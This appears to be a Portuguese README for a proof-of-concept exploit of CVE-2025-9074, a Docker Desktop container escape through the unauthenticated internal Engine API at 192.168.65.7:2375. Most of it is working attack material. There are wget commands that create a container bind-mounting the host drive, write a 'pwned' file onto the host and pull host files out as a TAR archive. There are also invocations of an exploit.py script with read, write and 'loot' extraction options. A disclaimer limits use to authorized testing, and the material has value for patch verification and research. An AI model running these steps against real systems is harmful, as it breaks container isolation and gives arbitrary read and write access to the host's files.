
Exploit PoC para CVE-2025-9074 demonstrando um escape completo de contêiner do Docker Desktop no Windows e macOS através de uma API interna do Docker Engine não autenticada.
O Docker Desktop expõe a API interna do Docker Engine em http://192.168.65.7:2375 para qualquer contêiner em execução — sem autenticação e sem controle de acesso.
Como o próprio mecanismo pode montar o sistema de arquivos do host, um contêiner pode chamar essa API para criar um novo contêiner que monta (bind-mount) a unidade do host e, em seguida, usar esse contêiner para ler e escrever arquivos arbitrários do host — uma fuga completa do contêiner para o host.
http://192.168.65.7:2375 — nenhuma credencial é necessária.POST /containers/create com Binds: ["/mnt/host:/host_root"], montando a unidade do host em um novo contêiner. Dentro da VM do Docker, o sistema de arquivos do host é exposto em /mnt/host (por exemplo, a unidade C: do Windows está em /mnt/host/c).POST /containers/{id}/start ativa o bind mount, concedendo acesso total ao host.echo pwned > /host_root/c/test/pwn.txt).GET /containers/{id}/archive?path=... transmite qualquer caminho do host de volta como um arquivo TAR — nenhum shell é necessário.Crie C:\test\readme.txt com algum conteúdo de exemplo para que a demonstração de leitura tenha um alvo.

docker run -it --rm alpine /bin/sh
Todos os passos manuais abaixo são executados dentro deste contêiner (alpine vem com wget). Defina uma variável de shell para a API para manter os comandos curtos:
API=http://192.168.65.7:2375
Objetivo: criar C:\test\pwn.txt no host a partir de dentro de um contêiner.
# 1. Create a container that mounts the host C: drive and writes a file into it.
wget -q -O create.json \
--header='Content-Type: application/json' \
--post-data='{"Image":"alpine","Cmd":["sh","-c","echo pwned > /host_root/c/test/pwn.txt"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \
$API/containers/create
# 2. Extract the new container ID from the JSON response.
cid=$(cut -d'"' -f4 create.json)
# 3. Start it — the command runs and writes the file to the host.
wget -q -O - --post-data='' $API/containers/$cid/start
O que aconteceu:
Binds: /mnt/host:/host_root monta as unidades do host no novo contêiner.pwned em C:\test\pwn.txt (/host_root/c/test/pwn.txt).Resultado esperado: C:\test\pwn.txt agora existe no host.

Objetivo: ler C:\test\readme.txt do host a partir de dentro de um contêiner.
# 1. Create + start a container with the host drive mounted (kept alive briefly).
wget -q -O create.json \
--header='Content-Type: application/json' \
--post-data='{"Image":"alpine","Cmd":["sleep","30"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \
$API/containers/create
cid=$(cut -d'"' -f4 create.json)
wget -q -O - --post-data='' $API/containers/$cid/start
# 2. Ask the engine for a TAR archive of the host directory, then extract it.
wget -q -O test.tar "$API/containers/$cid/archive?path=/host_root/c/test"
tar -xvf test.tar
cat test/readme.txt
O que aconteceu:
GET /containers/{id}/archive?path=... transmite qualquer caminho do host de volta como um TAR — nenhum shell é necessário.Resultado esperado: o conteúdo de C:\test\readme.txt é exibido.

exploit.pyexploit.py automatiza ambos os fluxos. Ele usa apenas a biblioteca padrão do Python, detecta automaticamente a montagem do host (Windows /mnt/host/c vs macOS/Linux /), e traduz caminhos nativos do host para você.
A API interna (
192.168.65.7:2375) só é acessível de dentro de um contêiner, então execute o script em um que tenha Python:
# From the repo directory on the host:
docker run --rm -it -v "${PWD}:/x" python:3-alpine python /x/exploit.py info
No Windows PowerShell, use -v "${PWD}:/x"; no cmd.exe use -v "%cd%:/x".
python /x/exploit.py info
Faz ping na API, detecta o SO do host e lista as entradas de montagem do host de nível superior.
# Windows host
python /x/exploit.py write 'C:\test\pwn.txt' --content 'pwned via CVE-2025-9074'
# macOS/Linux host (or pipe content via stdin)
echo "pwned" | python /x/exploit.py write /tmp/pwn.txt
# Print to stdout
python /x/exploit.py read 'C:\test\readme.txt'
# Or extract (file or whole directory) into ./loot
python /x/exploit.py read 'C:\test' --out ./loot
Este PoC é apenas para testes autorizados, educação e pesquisa. O autor não assume nenhuma responsabilidade por uso indevido. Execute-o apenas contra sistemas que você possui ou tem permissão para testar.
Este PoC e README são derivados da pesquisa de Felix Boulet. Todo o crédito pela descoberta e análise originais pertence ao autor original.
Este projeto é licenciado sob a Licença MIT.
| Flag | Finalidade |
|---|
--api URL | Substituir o endpoint da API (padrão http://192.168.65.7:2375) |
--image NAME | Imagem para o contêiner de exploração (padrão alpine, baixada automaticamente se ausente) |
--vm-mount PATH | Ignorar detecção automática e forçar a montagem do host na VM (ex.: /mnt/host ou /) |